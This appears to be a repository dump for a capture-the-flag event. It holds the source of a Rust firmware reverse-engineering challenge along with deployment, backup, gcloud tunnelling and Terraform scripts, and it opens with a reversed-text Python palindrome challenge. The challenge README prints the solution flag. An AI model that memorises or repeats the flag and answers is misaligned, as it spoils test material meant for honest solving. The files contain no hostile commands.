#"!ecin ton" ,96 == 652 % ))(edocne.x(mus tressa 11 | #".tcaf nwonk llew a si siht ,gnol sretcarahc 53 naht erom eb t'nac semordnilap" ,63 < )x(nel tressa 12 | #"emordnilap a ton" ,]1-::[x == x tressa 13 | #"xhtk ylno iicsa" ,)x ni i rof 821 < )i(dro(lla tressa 14 | #"dab era stnemmoc" ,x ni ton "#" tressa 15 | #)" ?emordnilap"(tupni = x 16 | #:eurT elihw 17 | -------------------------------------------------------------------------------- /challenges/challenge-29/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-29/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-29/challenge/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "REhoST" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [[bin]] 7 | name = "firmware" 8 | path = "./src/firmware.rs" 9 | 10 | [[bin]] 11 | name = "peripheral" 12 | path = "./src/peripheral.rs" 13 | 14 | #[[bin]] 15 | #name = "secret" 16 | #path = "./src/secret.rs" 17 | 18 | [profile.release] 19 | panic = "abort" 20 | strip = true 21 | 22 | [profile.dev] 23 | panic = "abort" 24 | strip = true 25 | 26 | [dependencies] 27 | groestl = { version = "0.10.1", default-features = false } 28 | -------------------------------------------------------------------------------- /challenges/challenge-29/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:latest 2 | 3 | WORKDIR /service 4 | 5 | COPY ./server.py /service 6 | COPY ./requirements.txt /service 7 | 8 | RUN pip install -r ./requirements.txt 9 | 10 | CMD ["python", "./server.py"] 11 | 12 | -------------------------------------------------------------------------------- /challenges/challenge-29/challenge/README.md: -------------------------------------------------------------------------------- 1 | # REhoST 2 | 3 | Flag: `potluck{R3h05TinG_4s_4_S3rv1c3_1s_7h3_Fu7ur3!!!}` 4 | -------------------------------------------------------------------------------- /challenges/challenge-29/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | kyourinrin: 5 | container_name: rehost 6 | build: . 7 | ports: 8 | - "5000:5000" 9 | restart: always 10 | -------------------------------------------------------------------------------- /challenges/challenge-29/challenge/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==3.0.0 2 | -------------------------------------------------------------------------------- /challenges/challenge-29/challenge/src/firmware.rs: -------------------------------------------------------------------------------- 1 | #![feature(start, exposed_provenance)] 2 | #![allow(non_snake_case)] 3 | #![no_std] 4 | 5 | mod rng; 6 | mod rehost; 7 | mod constants; 8 | mod intrinsics; 9 | 10 | use core::panic::PanicInfo; 11 | 12 | use rng::Rng; 13 | 14 | #[panic_handler] 15 | fn panic(_info: &PanicInfo) -> ! { 16 | loop {} 17 | } 18 | 19 | // firmware 20 | #[start] 21 | fn main(_argc: isize, _argv: *const *const u8) -> isize { 22 | rehost::send_data(b"letsa go"); 23 | 24 | let init = rehost::recv_data(); 25 | if &init != b"herewego" { 26 | return -1; 27 | } 28 | 29 | rehost::send_data(b"firmware"); 30 | let seed: [u8; 8] = rehost::recv_data(); 31 | let mut rng = Rng::new(u64::from_le_bytes(seed)); 32 | 33 | let mut magic = 0; 34 | 35 | for _ in 0..7 { 36 | magic ^= u64::from_le_bytes(rehost::recv_data()) ^ constants::KEYS[rng.rand_u8() as usize]; 37 | } 38 | 39 | if magic == 0x93273f7fd2ec9c1e { 40 | rehost::send_flag(); 41 | return 0; 42 | } 43 | 44 | -1 45 | } 46 | -------------------------------------------------------------------------------- /challenges/challenge-29/challenge/src/rng.rs: -------------------------------------------------------------------------------- 1 | pub struct Rng(u64); 2 | 3 | impl Rng { 4 | pub fn new(seed: u64) -> Self { 5 | let mut rng = Rng(seed); 6 | for _ in 0..1000 { rng.rand(); } 7 | rng 8 | } 9 | 10 | pub fn rand(&mut self) -> u64 { 11 | let orig_seed = self.0; 12 | 13 | let mut seed = orig_seed; 14 | seed ^= seed << 13; 15 | seed ^= seed >> 17; 16 | seed ^= seed << 43; 17 | self.0 = seed; 18 | 19 | orig_seed 20 | } 21 | 22 | #[allow(dead_code)] 23 | pub fn rand_u8(&mut self) -> u8 { 24 | (self.rand() & 0xff) as u8 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /hacks/backup-notes.txt: -------------------------------------------------------------------------------- 1 | */5 * * * * root docker exec 41115b4b071b pg_dump -U postgres -F t ctf | gzip > /var/backups/scoreboard/potluckctf_db.$(date +\%Y\%m\%d\%H\%M\%S).sql.gz 2 | -------------------------------------------------------------------------------- /hacks/clear-scoreboard-cache.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | docker compose exec web pipenv run python manage.py shell -c 'from django.core.cache import cache; cache.clear()' 3 | -------------------------------------------------------------------------------- /hacks/config-challenge-docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | sudo gcloud auth configure-docker europe-west3-docker.pkg.dev 3 | sudo docker pull europe-west3-docker.pkg.dev/potluck-ctf/challenge00-repository/challenge00:latest 4 | -------------------------------------------------------------------------------- /hacks/iap-connect-scoreboard.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | gcloud compute ssh --project potluck-ctf --zone europe-west3-b --tunnel-through-iap scoreboard-a 3 | -------------------------------------------------------------------------------- /hacks/start-competition.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | sudo docker compose exec web pipenv run python manage.py shell -c 'from core.models import *; print(" ".join(str(i) for i in Challenge.objects.values_list("id", flat=True)))' 3 | sudo docker compose exec web pipenv run python manage.py startctf 9 10 11 14 15 16 1 5 4 7 8 12 13 20 22 23 24 25 26 3 28 27 21 2 17 18 19 6 29 4 | -------------------------------------------------------------------------------- /notes.txt: -------------------------------------------------------------------------------- 1 | https://blog.ruanbekker.com/cheatsheets/prometheus/ 2 | 3 | Prometheus query, memory usage: 4 | node_memory_Active_bytes/node_memory_MemTotal_bytes*100 5 | 6 | Prometheus query, CPU usage recently 7 | 100 - (avg by(instance) (irate(node_cpu_seconds_total{mode="idle"}[5m])) * 100 ) 8 | 9 | Prometheus query, free disk: 10 | node_filesystem_avail_bytes/node_filesystem_size_bytes*100 11 | -------------------------------------------------------------------------------- /scoreboard/convert-scoreboard.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import json 4 | import csv 5 | 6 | with open('scoreboard-filtered.csv', 'r') as fin: 7 | csvreader = csv.reader(fin) 8 | res = [] 9 | next(csvreader) 10 | for idx, line in enumerate(csvreader): 11 | res.append({'pos': idx+1, 'team': line[0], 'score': int(line[1])}) 12 | 13 | with open('scoreboard.json', 'w') as fout: 14 | json.dump({'standings': res}, fout) 15 | -------------------------------------------------------------------------------- /scripts/check-undelivered.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | gsutil ls gs://potluckctf-challenge-14 3 | gsutil ls gs://potluckctf-challenge-15 4 | gsutil ls gs://potluckctf-challenge-17 5 | -------------------------------------------------------------------------------- /scripts/connect-challenge.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | gcloud compute ssh --tunnel-through-iap $1 3 | -------------------------------------------------------------------------------- /scripts/connect-monitor.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | gcloud compute ssh --tunnel-through-iap monitor-a -- -L9000:localhost:9000 -L3000:localhost:3000 3 | -------------------------------------------------------------------------------- /scripts/connect-scoreboard.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | gcloud compute ssh --tunnel-through-iap scoreboard-a 3 | -------------------------------------------------------------------------------- /scripts/tunnel-challenge.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # gcloud compute start-iap-tunnel INSTANCE_NAME INSTANCE_PORT --local-host-port=localhost:LOCAL_PORT --zone=ZONE 4 | INSTANCE_NAME="$1" 5 | 6 | echo "Tunneling to localhost:31337 -> $INSTANCE_NAME:31337" 7 | gcloud compute start-iap-tunnel $1 31337 --local-host-port=localhost:31337 --iap-tunnel-disable-connection-check --zone europe-west3-b 8 | -------------------------------------------------------------------------------- /terraform/.gitignore: -------------------------------------------------------------------------------- 1 | .terraform/ 2 | .terraform.lock.hcl 3 | terraform.tfvars 4 | terraform.tfstate.backup 5 | 6 | -------------------------------------------------------------------------------- /terraform/Makefile: -------------------------------------------------------------------------------- 1 | default: apply 2 | 3 | install: 4 | sudo apt-get update && sudo apt-get install -y gnupg software-properties-common 5 | wget -O- https://apt.releases.hashicorp.com/gpg | \ 6 | gpg --dearmor | \ 7 | sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg 8 | gpg --no-default-keyring \ 9 | --keyring /usr/share/keyrings/hashicorp-archive-keyring.gpg \ 10 | --fingerprint 11 | sudo apt update 12 | sudo apt-get install terraform 13 | 14 | init: 15 | terraform init 16 | 17 | plan: 18 | terraform plan 19 | 20 | apply: 21 | terraform apply 22 | 23 | destroy: 24 | terraform destroy 25 | 26 | .PHONY: default install init plan apply destroy inventory 27 | -------------------------------------------------------------------------------- /terraform/delivery.tf: -------------------------------------------------------------------------------- 1 | # TODO: import challenge delivery SA + bucket into Terraform 2 | #resource "google_service_account" "challenge_delivery_service_account" { 3 | # provider = google-beta 4 | # for_each = local.delivery_challenges ? local.server_settings.challenges : {} 5 | # account_id = "${each.key}-author" 6 | # display_name = "${each.key} Challenge Delivery" 7 | #} 8 | -------------------------------------------------------------------------------- /terraform/hosts.tpl: -------------------------------------------------------------------------------- 1 | all: 2 | hosts: 3 | children: 4 | scoreboard: 5 | hosts: 6 | %{ for server in potluckctf-scoreboard ~} 7 | ${server.name}: 8 | %{ endfor ~} 9 | challenges: 10 | children: 11 | %{ for challenge_name, challenge in potluckctf-challenges ~} 12 | ${challenge_name}: 13 | hosts: 14 | %{ for server_name, server in challenge.servers ~} 15 | ${server_name}: 16 | %{ endfor ~} 17 | %{ endfor ~} 18 | 19 | docker: 20 | hosts: 21 | %{ for name, server in {for name, server in server_settings: name => server if contains(keys(server.labels), "docker")} ~} 22 | ${name}: 23 | %{ endfor ~} 24 | 25 | docker_single: 26 | hosts: 27 | %{ for name, server in {for name, server in server_settings: name => server if contains(keys(server.labels), "docker_single")} ~} 28 | ${name}: 29 | %{ endfor ~} 30 | 31 | monitor: 32 | hosts: 33 | %{ for server in [for s in potluckctf-all: s if contains(s.tags, "monitor")] ~} 34 | ${server.name}: 35 | %{ endfor ~} 36 | -------------------------------------------------------------------------------- /terraform/hosts.yml: -------------------------------------------------------------------------------- 1 | all: 2 | hosts: 3 | children: 4 | scoreboard: 5 | hosts: 6 | challenges: 7 | children: 8 | 9 | docker: 10 | hosts: 11 | 12 | docker_single: 13 | hosts: 14 | 15 | monitor: 16 | hosts: 17 | monitor-a: 18 | --------------------------------------------------------------------------------